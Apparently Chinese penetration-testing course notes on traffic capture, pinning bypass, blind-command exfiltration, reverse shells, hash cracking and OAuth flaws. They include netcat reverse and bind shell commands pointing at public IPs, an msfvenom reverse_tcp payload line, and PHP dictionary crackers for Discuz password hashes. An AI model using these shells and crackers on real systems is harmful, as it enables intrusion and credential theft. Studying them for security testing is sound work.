内部API:Web应用提供给测试人员一个能获取到价值信息的接口
外部API:可以借助提供的API获取到当前网站不想让你获取的信息
分析API的目录结构、接口命名规则、参数命名规则、功能和业务逻辑等,
根据这些信息可以进行接口枚举和参数枚举,进而可以进行相关的漏洞测试。
#拓展应用:防火墙 消息队列 分布式等
ActiveMQ Redis Memcache Jenkins等漏洞
有利影响:搭建越多应用即方便了运维也提供给测试人员更多机会
十九、、移动App-开发架构-原生&H5&封装等
#APP应用开发架构:
1、原生开发
安卓一般使用java语言开发,当然现在也有kotlin语言进行开发。如何开发就涉及到具体编程了,这里就不详说了。简单描述就是使用安卓提供的一系列控件来实现页面,复杂点的页面可以通过自定义控件来实现。
2、使用H5语言开发
使用H5开发的好处有很多,可多端复用,比如浏览器端,ios端,当然H5开发的体验是没有原生好的。结合我做过的项目来说,一般是这个页面需要分享出去的话,就用H5开发。
3、使用flutter开发
flutter是近年来谷歌推出的一款UI框架,使用dart语言进行开发,支持跨平台,weight渲染直接操作硬件层,体验可媲美原生。但是flutter技术比较新,生态还不完善,开发起来效率相对偏低。
4、常规Web开发
Web App软件开发简单地说,就是开发一个网站,然后加入app的壳。Web App一般非常小,内容都是app内的网页展示,受制于网页技术本身,可实现功能少,而且每次打开,几乎所有的内容都需要重新加载,所以反应速度慢,内容加载过多就容易卡死,用户体验差,而且app内的交互设计等非常有效。但开发周期长端,需要的技术人员少,成本低。
#APP-开发架构-原生态-IDEA
演示:remusic项目源码
NP管理器:
HttpCanary:GitHub - mingww64/HttpCanary-SSL-Magisk: HttpCanary with SSL support
安全影响:反编译&流量抓包&常规测试
安全影响:逆向的角度去分析逻辑设计安全
#APP-开发架构--Web封装-封装平台
演示:ShopXO源码程序+多豆云打包
安全影响:常Web安全测试
#APP-开发架构-H5&Vue-HBuilderX
DCloud - 数字天堂官网、HBuilderX、HBuilder、uni-app、uniapp、5+、5plus、mui、wap2app、流应用、HTML5、小程序开发、跨平台App、多端框架
演示:HBuilderX案例
安全影响:API&JS框架安全问题&JS前端测试
二十、 微信小程序-开发架构-原生&框架&封装等
#小程序开发架构:
大家所说的小程序指微信小程序,实际上除了微信小程序外,还有支付宝、百度、头条、飞书、QQ、快手、钉钉、淘宝等个各种平台的小程序。在微信小程序开发中,开发者可以根据自身情况和项目需要,选择不同的开发方式,包括:原生开发、WebView开发、框架开发和低代码开发等。
#WX小程序-开发架构-Web封装-平台
演示:ShopXO源码程序+多豆云打包
安全影响:常规Web安全测试
#WX小程序-开发架构-H5&Vue-HBuilderX
演示:HBuilderX案例
DCloud - 数字天堂官网、HBuilderX、HBuilder、uni-app、uniapp、5+、5plus、mui、wap2app、流应用、HTML5、小程序开发、跨平台App、多端框架
安全影响:API&JS框架安全问题&前端测试
安全影响:反编译小程序-提取小程序源码泄漏的信息
通用:
1、反编译-源码-提取资产(泄漏的配置信息)-安全测试
2、抓包-资产-安全测试
二十一、抓包技术-Web&App&小程序&PC-Burp&Yakit
准备工作:
1、浏览器安装证书:解决本地抓HTTPS
2、模拟器安装证书:解决模拟器抓HTTPS
3、真机器安装证书:解决真机器抓HTTPS
注:本地装证书一定要装在受信任和中间两个选项里面
1. 准备工作:
为了成功抓取 HTTPS 请求,需要完成以下证书安装配置:
-
浏览器安装证书
- 在浏览器中导入抓包工具提供的 CA 证书。
- 证书必须安装到“受信任的根证书颁发机构”和“中间证书颁发机构”中,确保 HTTPS 流量正常解密。
-
模拟器安装证书
- 将抓包工具的 CA 证书导入模拟器环境。
- 不同模拟器(如 Android Studio、Genymotion 等)可能需要通过命令行工具(如
adb
)手动导入证书。
-
真机安装证书
- 将 CA 证书文件传输到手机,通过设置 > 安全 > 证书管理中导入。
- Android 10 及以上设备需要额外修改应用网络安全配置或使用动态代理工具。
Fiddler:
Web Debugging Proxy and Troubleshooting Tools | Fiddler
是一个http协议调试代理工具,它能够记录并检查所有你的电脑和互联网之间的http通讯,设置断点,查看所有的“进出”Fiddler的数据(指cookie,html,js,css等文件)。 Fiddler 要比其他的网络调试器要更加简单,因为它不仅仅暴露http通讯还提供了一个用户友好的格式。
Charles:
Charles Web Debugging Proxy • HTTP Monitor / HTTP Proxy / HTTPS & SSL Proxy / Reverse Proxy
是一个HTTP代理服务器,HTTP监视器,反转代理服务器,当浏览器连接Charles的代理访问互联网时,Charles可以监控浏览器发送和接收的所有数据。它允许一个开发者查看所有连接互联网的HTTP通信,这些包括request, response和HTTP headers (包含cookies与caching信息)。
BurpSuite:
是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。
Reqable:
Reqable · API Debugging Proxy & REST Client
是一款跨平台的专业 HTTP 开发和调试工具,在全平台支持 HTTP1、HTTP2 和 HTTP3(QUIC)协议,简单易用、功能强大、性能高效,助力程序开发和测试人员提高生产力!说白了,他就是抓包工具 + Postman的合体,既可以抓包,又可以测试接口。
Yakit:
Yakit 是一个基于 Yak 语言的安全领域垂直语言工具,它提供了一个图形化用户界面(GUI)来操控 Yak 引擎的能力。Yakit 旨在降低使用安全工具的门槛,使得安全从业者即使没有编程技能也能轻松地进行安全测试和分析。
二十二、抓包技术-软件联动&通用方案-Proxifier&Reqable
Proxifier:
一款功能强大的网络代理工具,它可以让你将网络应用程序通过代理服务器进行连接。它提供了一个简单而灵活的方式,让你能够将任何应用程序的网络流量路由到指定的代理服务器上,从而实现匿名浏览、绕过网络封锁、访问受限网站等功能。
1. Proxifier 配置:
Proxifier 是一个强大的代理工具,可对未提供代理设置选项的软件进行流量转发。其基本配置如下:
-
PC端应用:
- 有代理设置: 直接在应用程序中配置抓包工具的代理地址(如 127.0.0.1:8080)。
- 无代理设置: 使用 Proxifier 设置规则,将指定程序流量转发到抓包工具。
-
APP应用:
- 无防护: 使用模拟器直接抓包,确保代理生效。
- 有防护:
- 通过动态更改应用内核(如修改网络库)。
- 绕过证书验证(如通过
Frida
、Xposed
等工具)。 - 使用代理工具(如 Burp 或 Charles)结合特殊配置。
2. 真机抓包注意事项:
- 确保 手机与电脑处于同一网络,并正确设置代理。
- 若应用启用了 HTTPS Pinning,需要通过工具(如
Objection
或Frida
)实现绕过。
二十三、抓包实操建议
-
选择工具:
- 入门用户推荐 Fiddler 或 Charles;
- 进阶用户或 Web 安全从业者推荐 Burp Suite;
- 高效开发与测试场景推荐 Reqable。
-
测试环境准备:
- 模拟器和真机抓包中,优先选择低版本 Android 系统以降低绕过难度。
- 使用虚拟网络环境(如 Wi-Fi 热点)避免对生产环境产生干扰。
-
证书绕过:
- 使用动态分析工具定位应用的证书验证逻辑(如
Frida
Hook)。 - 修改应用的网络请求库或重编译应用,注入自定义 CA 支持。
- 使用动态分析工具定位应用的证书验证逻辑(如
二十四、抓包技术-Web&App&小程序&PC-扶墙双层
Wireshark:
网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。
科来网络分析系统:
该系统具有行业领先的专家分析技术,通过捕获并分析网络中传输的底层数据包,对网络故障、网络安全以及网络性能进行全面分析,从而快速排查网络中出现或潜在的故障、安全及性能问题。
二十五、 抓包技术-Web&App&小程序&PC-项目联动
#抓包工具联动
意义:让一个数据包同时经过不同安全测试工具进行扫描
-
Burp -> Yakit
- 配置:
- Burp:127.0.0.1:8080
- Yakit:127.0.0.1:8083
- 设置系统代理:127.0.0.1:8080
- Burp 将数据包转发给 Yakit。
- 配置:
-
Yakit -> Burp
- 配置:
- Yakit:127.0.0.1:8083
- 设置下游:127.0.0.1:8080
- Burp:127.0.0.1:8080
- 设置系统代理:127.0.0.1:8083
- 配置:
-
Burp -> Yakit -> Reqable
- 配置:
- Burp:127.0.0.1:8080
- Yakit:127.0.0.1:8083
- Yakit 设置下游:127.0.0.1:9000
- 设置系统代理:127.0.0.1:8080
- 配置:
二十六、抓包技术-Web&App&小程序&PC-全局协议
#科学上网抓包
- 工具:Clash + Burp,Clash + Yakit。
- 场景:目标需要翻墙访问,同时抓包分析流量。
- 应用:隐藏 IP,抓包分析。
Clash+Burp Clash+Yakit
解决:
1、目标需要采用梯子才能访问
2、IP隐藏去访问并要进行抓包
#全局协议抓包
WireShark 科来网络系统
1、解决部分代理校验
有部分的app web 小程序 当设置了代理后无法抓包
校验:检测到了当前机器的代理设置 做了一个策略防止
做了代理的设置数据走向:本身应用-代理-还没有到网卡-给到监听抓包工具
没有做代理的数据走向:本身应用-服务器(网卡抓包) 代理是在网卡之前产生
2、APP/小程序/PC应用
由于应用类型不同,不是说所有的应用都有https协议的数据
3、蓝队分析TCP/UDP应用
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.9 lport=6666 -f exe -o 9.exe
二十七、数据不回显-原因解决-反弹&带外&延迟&写文件
数据不回显
原因:
数据不回显可能是由于目标系统存在漏洞,而某些功能的调用没有正确处理输出。常见的原因可能包括程序逻辑错误、权限限制或函数调用不当。
解决步骤:
-
判断数据不回显及是否存在漏洞:
- 检查目标系统是否存在能够利用的漏洞,可以通过扫描工具(如Nmap)或手动验证来判断。
-
如何获取执行的数据:
- 确定如何能够执行反弹shell,带外通信或使用延迟与文件写入等方式来获取回显。
过程:
1、判断是不是数据不回显并且有漏洞
2、有这个漏洞如何把执行的数据到呢
原因解决-反弹&带外&延迟&写文件
解决:
1、反弹权限
判定目标的操作系统
涨姿势!那些反弹shell的技巧总结-腾讯云开发者社区-腾讯云
nc -e cmd 119.45.254.149 7777
nc -lvp 7777
2、数据带外
-
DNSlog
-
TCP-Portlog
-
ICMP-Sizelog
3、延迟判断
发包看回显时间
Win:
ping -n 3 127.0.0.1
Linux:
ping -c 3 127.0.0.1
4、写访问文件
写静态文件或写入可访问的文件确定
5、其他:根据环境
文件下载等(反连的意义)
二十八、数据不出网-原因解决-正反连接&出入站策略&隧道
数据不出网
原因:
数据无法通过网络出去通常是由于防火墙或出站策略的限制。需要检查出入站策略、端口和协议限制等。
解决步骤:
-
判断出入限制:
- 确定防火墙或其他安全策略是否限制了目标系统的出站或入站流量。
-
分析端口和协议限制:
- 了解哪些端口或协议受限,以便选择合适的反向连接或隧道技术。
-
正向连接、反向连接、隧道:
- 根据不同的网络策略,选择合适的连接方式(正向连接或反向连接),或者使用隧道技术(如DNS隧道、ICMP隧道等)绕过防火墙。
环境:Windows外网靶机 Linux外网攻击机
拓展思考:Windows内网靶机或Linux内网攻击机呢
流程:
1、判断出入限制
2、判断出入限制的端口和协议
3、分析原因用正向还是反向还是隧道
原因解决-正反连接&出入站策略&隧道
原因:主机或应用防火墙出站限制
解决:利用NC反弹实验
1、正向连接
2、反向连接
3、隧道技术
实验:相对于靶机角度
1、开启入站策略,采用反向连接
反向连接:主动给出去,对方监听
//绑定CMD到目标IP的6666端口
nc -e cmd 146.56.193.187 6666
//等待6666连接
nc -lvvp 6666
2、开启出站策略,采用正向连接
正向连接:本地监听等待对方连接
//绑定CMD到本地6666端口
nc -e cmd -lvvp 6666
//主动连接目标6666
nc 43.134.218.194 6666
3、开启出站策略,采用其他协议隧道
使用其他协议(如ICMP、DNS)构建隧道,绕过防火墙或应用层过滤:
- ICMP隧道:通过发送ICMP请求包来建立通信。
- DNS隧道:通过DNS请求和响应进行数据传输,绕过网络限制。
二十九、反弹Shell-自带命令&语言代码&三方项目
反弹Shell
反弹Shell概念与应用:
反弹Shell(Reverse Shell)指的是通过利用目标主机的漏洞,反向连接到攻击者控制的服务器,允许攻击者远程执行命令,获取对目标系统的控制权。
前提条件
已知存在的漏洞利用或执行命令的地方
反弹shell原因
往往由于很多因素如:防火墙的开启限制,端口被占用,无法进行正向连接,数据不回显,攻击者可能无法直接从受攻击系统上建立连接并获取Shell控制权时。
- 防火墙和端口限制:一些目标系统的防火墙可能会阻止正向连接,因此攻击者使用反向连接来绕过这些限制。
- 无回显或数据不回传:某些攻击环境中,由于缺乏命令回显或数据流,攻击者可能无法直接与受害者系统进行交互,因此采用反向Shell进行控制。
- 隐蔽性:通过反向Shell,攻击者可以避免直接连接到受害机器,从而降低被检测到的风险。
反弹Shell应用:
- 远程控制:反向Shell可以让攻击者远程执行命令,完全控制目标系统。
- 隐蔽攻击痕迹:通过反弹连接,攻击者的行为较难被发现,能够有效隐藏身份。
- 横向渗透:攻击者能够在目标系统上获得Shell之后,可以进一步在网络中移动,攻击其他系统。
- 数据盗取与系统破坏:攻击者可获取敏感数据,甚至破坏系统配置,删除重要文件等。
例子
-
远程控制:通过反弹shell,攻击者可以远程控制目标系统,执行各种命令和操作,获得对目标系统的完全控制权限。
-
隐藏攻击痕迹:通过反弹shell,攻击者可以在目标系统上执行命令,而不需要直接与。这样可以减少被发现的风险,同时也可以更好地隐藏攻击者的身份和攻击行为。
-
横向渗透:一旦攻击者成功反弹shell并获得目标系统的访问权限,他们可以进一步横向渗透,即在网络中移动并攻击其他系统,以获取更多的敏感信息或控制权。
-
数据盗取和系统破坏:通过反弹shell,攻击者可以获取目标系统上的敏感数据,并且可以操纵系统以造成损害,例如删除文件、破坏系统配置等。
#反弹Shell-自带命令&语言代码&三方项目
在线生成:
Online - Reverse Shell Generator
命令类别:
1、开发语言:系统环境变量开发环境
2、系统自带:系统支持的系统命令调用
3、第三方项目:利用远程下载命令后调用
4、正反向类别:Reverse反向 Bind绑定等
实验环境:
Windows<-->Linux
总结:
1、Windows上基本就PowerShell命令可以反弹,再就是环境变量的开发语言
2、Linux上默认自带的nc(ncat),系统命令,开发语言等基本大部分都可反弹
三十、渗透命令-文件下载&网络通讯&配置查看等
渗透命令-文件下载
文件下载:
在渗透测试中,攻击者可能需要从目标系统下载文件,或者在目标系统中上传文件。此类操作通常通过命令行工具来执行,如:
- Windows:使用 PowerShell 脚本,或者
bitsadmin
、curl
等命令行工具。 - Linux:使用
wget
、curl
或其他命令来下载文件。
网络通讯:
在渗透测试过程中,攻击者可能需要与目标系统进行网络通信,以获得更多信息或控制目标设备。例如,利用 netcat
、nc
等工具来建立连接、监听端口、转发流量等。
配置查看:
攻击者可能会查看目标系统的配置文件、服务设置或网络参数,以便更好地进行后续攻击。常用的查看配置命令包括 cat
、more
、less
、ls
等。
#渗透命令
在线参考:
文件下载:
三十一、传输格式&数据-类型&编码&算法
1. 传输格式:
数据传输格式决定了不同系统之间交换信息的方式。常见的传输格式包括:
- JSON:广泛应用于Web服务和API中,具有良好的可读性和轻量级特点。
- XML:比JSON更为复杂,常用于配置文件和数据交换,但更容易受到安全攻击(如XML注入)。
- WebSockets:一种在单个TCP连接上进行全双工通信的协议,通常用于实时应用(如聊天应用),例如豆包(豆瓣)等应用使用它来实时推送数据。
- HTML:主要用于网页内容展示,但在Web应用中也可以用来传输数据。
- 二进制:可以传输大量的原始数据,适用于图像、音频等文件格式。
- 自定义格式:一些应用可能使用自定义格式来传输数据,通常需要特定的解析方法。
2. 传输数据:
传输数据时,常使用的编码和加密算法包括:
- MD5:一种哈希算法,常用于数据完整性校验,但由于其易受到碰撞攻击,已经不再推荐用于安全存储。
- Base64:一种编码方式,通常用于将二进制数据转为文本形式。虽然它对数据没有加密作用,但可以隐藏数据内容,常用于Web通信中的文件上传或加密信息的传输。
- 自定义算法:一些应用程序使用专有的加密算法进行数据传输,通常在安全测试中需要逆向破解或解密。
3. 影响与渗透测试:
- 格式统一:渗透测试时,确保数据发送格式的统一性是很重要的,因为这会直接影响到数据的传输和解析,可能影响攻击的成功率。
- 加密统一:渗透测试也需要确保传输数据时的加密方式统一,因为不一致的加密算法可能导致信息泄露或未加密的数据暴露。
#传输格式
JSON XML WebSockets HTML 二进制 自定义
WebSockets:聊天交互较常见(豆包等应用)
https://zhuanlan.zhihu.com/p/712032652
文件上传:
【HTTP】文件常见传输数据格式 Content-Type 与 MIME - wanglei1900 - 博客园
影响:安全后渗透测试必须要统一格式发送
#传输数据
例:
MD5
Base64
自定义算法
影响:安全后渗透测试必须要统一加密发送
三十二、密码存储&混淆-不可逆&非对称性
1. 密码存储:
密码存储方式的安全性直接影响到密码泄露的风险。常见的密码存储方法包括:
- 不可逆加密:例如使用哈希算法(如SHA、MD5)存储密码。哈希值不可逆,因此即使数据泄露,攻击者无法直接还原原始密码。
- 加盐:为了防止彩虹表攻击,密码哈希时会加盐(salt),生成独一无二的哈希值。
- 非对称加密:使用一对公钥和私钥加密数据。即使攻击者获取到公钥,也无法解密数据,只有私钥持有者才能解密。
2. 密码存储的影响:
- 解密算法破解:在进行渗透测试时,密码存储的加密方式(如MD5或SHA)可能需要被破解或通过彩虹表攻击恢复明文密码。
- 数据库:不同的数据库系统(如MySQL和MSSQL)可能有不同的密码存储方法和安全措施,因此在渗透测试中要根据具体的数据库类型选择相应的攻击方式。
3. 代码混淆:
代码混淆主要用于增加代码的逆向难度,防止攻击者通过反编译和逆向工程分析程序。
- PHP与JS混淆加密:通过混淆脚本代码,使得代码结构变得难以理解,增加破解的难度。
- DLL和JAR代码保护:通过加密或混淆技术保护动态链接库(DLL)和Java归档文件(JAR),以防止反编译。
4. 影响与渗透测试:
- 代码审计:混淆代码对渗透测试人员进行代码审计时构成挑战。代码混淆可能需要更高级的逆向技术,才能恢复原始代码。
- 逆向破解:通过逆向工程,渗透测试人员可能尝试破解混淆后的代码,以获取敏感信息或漏洞。
#密码存储
例:
-ZBlog&Dz
-Win&Linux
-MSSQL&MYSQL
影响:安全后渗透测试必须要做到算法解密
#代码混淆
例:
-PHP&JS混淆加密
-DLL&JAR代码保护
影响:代码审计,逆向破解
三十三、算法识别加解密-MD5&AES&DES&RSA
安全测试中:
密文-有源码直接看源码分析算法(后端必须要有源码才能彻底知道)
密文-没有源码1、猜识别 2、看前端JS(加密逻辑是不是在前端)
#算法加密-概念&分类&类型
-
单向散列加密 -MD5
单向散列加密算法的优点有(以MD5为例):
方便存储,损耗低:加密/加密对于性能的损耗微乎其微。
单向散列加密的缺点就是存在暴力破解的可能性,最好通过加盐值的方式提高安全性,此外可能存在散列冲突。我们都知道MD5加密也是可以破解的。
常见的单向散列加密算法有:
MD5 SHA MAC CRC
*解密条件:密文即可,采用碰撞解密,几率看明文复杂程度
-
对称加密 -AES
对称加密优点是算法公开、计算量小、加密速度快、加密效率高。
缺点是发送方和接收方必须商定好密钥,然后使双方都能保存好密钥,密钥管理成为双方的负担。
常见的对称加密算法有:
DES AES RC4
*解密条件:密文及密钥偏移量,采用逆向算法解密,条件成立即可解密成功
-
非对称加密 -RSA
非对称加密的优点是与对称加密相比,安全性更好,加解密需要不同的密钥,公钥和私钥都可进行相互的加解密。
缺点是加密和解密花费时间长、速度慢,只适合对少量数据进行加密。
常见的非对称加密算法:
RSA RSA2 PKCS
*解密条件:密文和公钥或私钥,采用逆向算法解密,条件成立即可解密成功
三十四、 解密条件-有源码找逻辑&无源码JS逆向
#加密解密-识别特征&解密条件
MD5密文特点:
1、由数字“0-9”和字母“a-f”所组成的字符串
2、固定的位数 16 和 32位
解密需求:密文即可,但复杂明文可能解不出
BASE64编码特点:
0、大小写区分,通过数字和字母的组合
1、一般情况下密文尾部都会有两个等号,明文很少的时候则没有
2、明文越长密文越长,一般不会出现"/""+"在密文中
AES、DES密文特点:
同BASE64基本类似,但一般会出现"/"和"+"在密文中
解密需求:密文,模式,加密Key,偏移量,条件满足才可解出
RSA密文特点:
特征同AES,DES相似,但是长度较长
解密需求:密文,公钥或私钥即可解出
其他密文特点见:
1.30余种加密编码类型的密文特征分析(建议收藏)
2.CTF中常见密码题解密网站总结(建议收藏)
CTF中常见密码题解密网站总结_ctf解密网站-CSDN博客
3.CTF密码学常见加密解密总结(建议收藏)
CTF密码学常见加密解密总结_wydfxjmgvswodododod-CSDN博客
#密码存储
1、密码存储(后端处理)
X3.2-md5&salt
DZ对应代码段-/uc_server/model/user.php
function add_user() { $password = md5(md5($password).$salt); } <?PHP $h = 'd7192407bb4bfc83d28f374b6812fbcd'; $hash=md5(md5('123456').'3946d5'); if($h==$hash){ echo 'ok'; }else{ echo 'no'; } ?> <?php function reverse_md5_hash_with_salt($final_hash, $salt, $dictionary_file) { // 打开字典文件 $file = fopen($dictionary_file, "r"); if (!$file) { die("无法打开字典文件!"); } // 遍历字典文件中的每一行(即每一个密码) while (($password = fgets($file)) !== false) { // 去除密码两侧的空白字符(包括换行符) $password = trim($password); // 第一次 MD5 加密密码 $md5_hash = md5($password); // 拼接 md5($password) 和 salt $salted_hash = $md5_hash . $salt; // 第二次 MD5 加密 $final_attempt = md5($salted_hash); // 检查是否匹配 if ($final_attempt === $final_hash) { fclose($file); return $password; // 找到匹配的密码 } } // 如果没有找到匹配的密码 fclose($file); return null; } // 给定的目标加密值和盐值 $final_hash = "125648dbf16531ab7e6b2f8ec8003ea7"; // 目标 MD5 值 $salt = "3e3790"; // 盐值 // 字典文件路径 $dictionary_file = "weaksauce.txt"; // 字典文件路径 // 调用函数进行密码破解 $password = reverse_md5_hash_with_salt($final_hash, $salt, $dictionary_file); // 输出结果 if ($password) { echo "破解成功,密码是: $password"; } else { echo "密码破解失败"; } ?>
X3.5-hash
DZ对应代码段-/uc_server/model/user.php
function add_user() { $salt = ''; $password = $this->generate_password($password); } function generate_password($password) { $algo = $this->get_passwordalgo(); $options = $this->get_passwordoptions(); $hash = password_hash($password, $algo, $options); } <?PHP $hash = '$2y$10$KA.7VYVheqod8F3X65tWjO3ZXfozNA2fC4oIZoDSu/TbfgKmiw7xO'; if (password_verify('123456', $hash)) { echo 'ok'; } else { echo 'error'; } ?> <?PHP $hash = '$2y$10$PDACNCRyZzcsknF8zvL4yu7YHIPQTN8F635PxQeXSB8QxxDZSXrd.'; $dictionary_file = "weaksauce.txt"; $file = fopen($dictionary_file, "r"); if (!$file) { die("无法打开字典文件!"); } // 遍历字典文件中的每一行(即每一个密码) while (($password = fgets($file)) !== false) { // 去除密码两侧的空白字符(包括换行符) $password = trim($password); echo $password."<br>"; if (password_verify($password, $hash)) { echo 'ok'; } else { echo 'error'; } } ?>
2、数据通讯
-博客登录-zblog(前端处理)
<script src="script/md5.js" type="text/javascript"></script> $("#btnPost").click(function(){ var strPassWord=$("#edtPassWord").val(); $("form").attr("action","cmd.php?act=verify"); $("#password").val(MD5(strPassWord)); console.log(MD5("123456"));
-博客登录-混合加密(前端处理)
<script src="/Scripts/Vip/Login.js?v=20241202154949"></script> function Login() { logindata.UserName = encodeURI(encrypt.encrypt(numMobile)); logindata.Mobile = encodeURI(encrypt.encrypt(numMobile));; logindata.Password = encodeURI(encrypt.encrypt(numPassword)); } var encrypt = new JSEncrypt(); encodeURI(encrypt.encrypt('13554365566'));
3、密文
明确以下三种加密算法加解密条件
对称AES/DES加解密,非对称RSA加解密
解密:在线DES加密解密、DES在线加密解密、DES encryption and decryption--查错网
应用场景:
1、发送数据的时候自动将数据加密发送(自需加密即可)
安全测试思路:我们需要将我们的Payload也要加密发送过去,这样才符合正常的业务逻辑,所以我们就只需要调用应用的JS加密逻辑进行提交发送测试即可!
2、比如要得到数据的明文(必须要拿到解密算法)
由于各种算法的解密条件不一,密钥,偏移量,私钥等不一定能拿到。
三十五、请求头&返回包-方法&头修改&状态码等
数据包:
客户端请求Request
请求方法
请求路径
请求头
服务端返回Response
状态码
-方法
1、常规请求-Get
2、用户登录-Post
•get:向特定资源发出请求(请求指定页面信息,并返回实体主体);
•post:向指定资源提交数据进行处理请求(提交表单、上传文件),又可能导致新的资源的建立或原有资源的修改;
•head:与服务器索与get请求一致的相应,响应体不会返回,获取包含在小消息头中的原信息(与get请求类
似,返回的响应中没有具体内容,用于获取报头);
•put:向指定资源位置上上传其最新内容(从客户端向服务器传送的数据取代指定文档的内容),与post的区别是put为幂等,post为非幂等;
•trace:回显服务器收到的请求,用于测试和诊断。trace是http8种请求方式之中最安全的l
•delete:请求服务器删除request-URL所标示的资源*(请求服务器删除页面)
•option:返回服务器针对特定资源所支持的HTML请求方法 或web服务器发送*测试服务器功能(允许客户 端查看服务器性能);
•connect : HTTP/1.1协议中能够将连接改为管道方式的代理服务器
-请求头
见上图
-返回头
见上图
-Response状态码
1、数据是否正常
2、文件是否存在
3、地址自动跳转
4、服务提供错误
注:容错处理识别
•-1xx:指示信息—表示请求已接收,继续处理。
•-2xx:成功—表示请求已经被成功接收、理解、接受。
•-3xx:重定向—要完成请求必须进行更进一步的操作。
•-4xx:客户端错误—请求有语法错误或请求无法实现。
•-5xx:服务器端错误—服务器未能实现合法的请求。
•200 OK:客户端请求成功
•301 redirect:页面永久性移走,服务器进行重定向跳转;
•302 redirect:页面暂时性移走,服务器进行重定向跳转,具有被劫持的安全风险;
•400 BadRequest:由于客户端请求有语法错误,不能被服务器所理解;
•401 Unauthonzed:请求未经授权。
•403 Forbidden:服务器收到请求,但是拒绝提供服务。
•404 NotFound:请求的资源不存在,例如,输入了错误的URL;
•500 InternalServerError:服务器发生不可预期的错误,无法完成客户端的请求;
•503 ServiceUnavailable:服务器当前不能够处理客户端的请求
3XX
1、网站做了容错处理 一旦访问了错误页面将跳转到某个固定地址 3XX
中间件规则配置
请求路径或文件 不存在
2、网站代码文件做了跳转 一旦触发就自动跳转到设置的固定地址 3XX
文件代码配置
请求路径或文件 存在
200和404误报问题
网站做了容错处理 一旦访问了错误页面将固定显示某个内容 显示正常
访问错误 返回的状态码200
三十六、 数据包分析-红队攻击手法&蓝队流量研判
#红队案例:
1、UA头-系统平台
常见举例影响:
-比如网站有UA收集整理功能,如果将UA信息记录到数据库的话,这个过程有接受UA信息及写入数据库的操作,这个地方可能存在SQL注入
-渗透测试习惯
部分网站做了限制设备访问的需求,手机或电脑只能访问一个,如果我们自己要电脑测试需要更改成手机访问才可以继续
2、Cookie-用户身份
3、Post数据-登录爆破
4、返回状态码-文件探针
#蓝队案例:
1、攻击漏洞
2、安全工具
三十七、数据包构造-Reqable自定义添加修改请求
#Reqable数据包自定义构造
一、Reqable概述
Reqable 是一个灵活的工具,常用于生成和修改 HTTP 请求。它允许用户手动指定请求头、请求体、方法、URL 等,从而构造不同的请求进行测试。
二、数据包构造基本步骤
-
选择请求方法:
-
常见的 HTTP 请求方法包括:GET、POST、PUT、DELETE、PATCH 等。
-
在 Reqable 中,你可以自由选择适合的请求方法来进行模拟。
-
-
URL和路径:
-
自定义请求的 URL 和路径是非常重要的,你可以根据目标系统的接口定义,输入你需要的 URL 路径。
-
例如,发送一个带有特殊路径的 GET 请求,测试目标是否能够正确处理。
-
-
修改请求头(Headers):
-
HTTP 请求头可以用来传递认证信息、用户代理、内容类型等。
-
在 Reqable 中,你可以自由添加、修改或删除请求头,如修改
User-Agent
、Authorization
、Content-Type
等字段。
-
-
构造请求体(Body):
-
请求体通常用于发送 POST 或 PUT 请求时携带数据,常见格式有 JSON、XML、Form 表单等。
-
你可以通过 Reqable 自定义请求体内容,模拟不同的输入。
-
-
参数添加与修改:
-
在 GET 请求中,参数通常附加在 URL 中,如
https://example.com?user=admin&pass=12345
。 -
在 POST 请求中,参数会放在请求体中。
-
你可以使用 Reqable 自定义 URL 查询参数或修改 POST 请求的数据。
-
-
添加 Cookies 或 Session:
-
如果目标应用使用会话管理(如 cookies 或 token),你可以通过 Reqable 添加这些信息,以确保请求的合法性或绕过身份验证。
-
三、Reqable常见用法示例
-
GET 请求:
-
示例 URL:
https://example.com/profile?user=admin&token=abcd1234
-
自定义请求头、查询参数。
-
-
POST 请求:
-
示例 URL:
https://example.com/login
-
自定义请求体(如 JSON 格式):
json { "username": "admin", "password": "password123" }
-
-
自定义 HTTP 请求头:
-
添加
Authorization
头来进行身份验证:
plaintext Authorization: Bearer <your_token_here>
-
-
修改 Cookies 或 Session:
-
在请求头中添加
Cookie
字段来模拟登录后的请求:
plaintext Cookie: sessionid=abcd1234; loggedin=true;
-
四、使用 Reqable 进行安全测试
-
模拟攻击:使用 Reqable 自定义请求进行 SQL 注入、XSS、CSRF 等常见漏洞测试。
-
暴力破解:通过修改请求体中的用户输入,进行暴力破解和密码猜测攻击。
-
绕过认证:修改请求头中的认证信息,如篡改 JWT token 或添加非法 cookies 来绕过认证机制。
三十八、网站协议-http&https-安全测试差异性
#HTTP/HTTPS
-
加密方式
HTTP:使用明文传输,数据在传输过程中可以被任何人截获和查看。
HTTPS:通过SSL/TLS协议对数据进行加密,确保数据在传输过程中不被第三方截获和篡改。
-
身份验证
HTTP:不需要进行身份验证,任何人都可以访问网站。
HTTPS:通过数字证书和SSL/TLS协议验证服务器的身份,防止"中间人攻击"。
-
端口号
HTTP:默认使用80端口。
HTTPS:默认使用443端口,提供更高的安全性。
三十九、身份鉴权-Authorization&Token&JWT&OAuth
#身份验证鉴权技术
Cookie,Session,Token,JWT,oauth2等
参考:聊聊登录鉴权那些事儿
应用场景:
Cookie+Session简单,建议在内网使用;
Token相对完善,推荐在跨域外网使用;
JWT推荐使用,常用在SSO单点登录中;
OAuth灵活方便,对于第三方系统登录更友好。
#OAuth2技术
授权框架,使网站和Web应用程序能够请求对另一个应用上的用户帐户进行有限访问。至关重要的是,OAuth允许用户授予此访问权限,而无需向请求应用程序公开其登录凭据。这意味着用户可以微调他们想要共享的数据,而不必将其帐户的完全控制权移交给第三方。
四种验证模式
authorization_code 授权码模式
implicit code 简单模式
password 密码模式
client_credentials 客户端模式
授权码模式流程
-见上图说明及案例测试
安全漏洞问题
1、redirect_url 校验不严格导致code被劫持到恶意网站(fuzz各种bypass方式)
2、client_id与redirect_url 不一致造成滥用劫持
3、A应用生成的code可以用在B应用上
4、state未设置csrf防护,导致csrf风险
5、scope提权,将低scope权限的code用于高权限场景
6、HTTP劫持,网络层中间人攻击
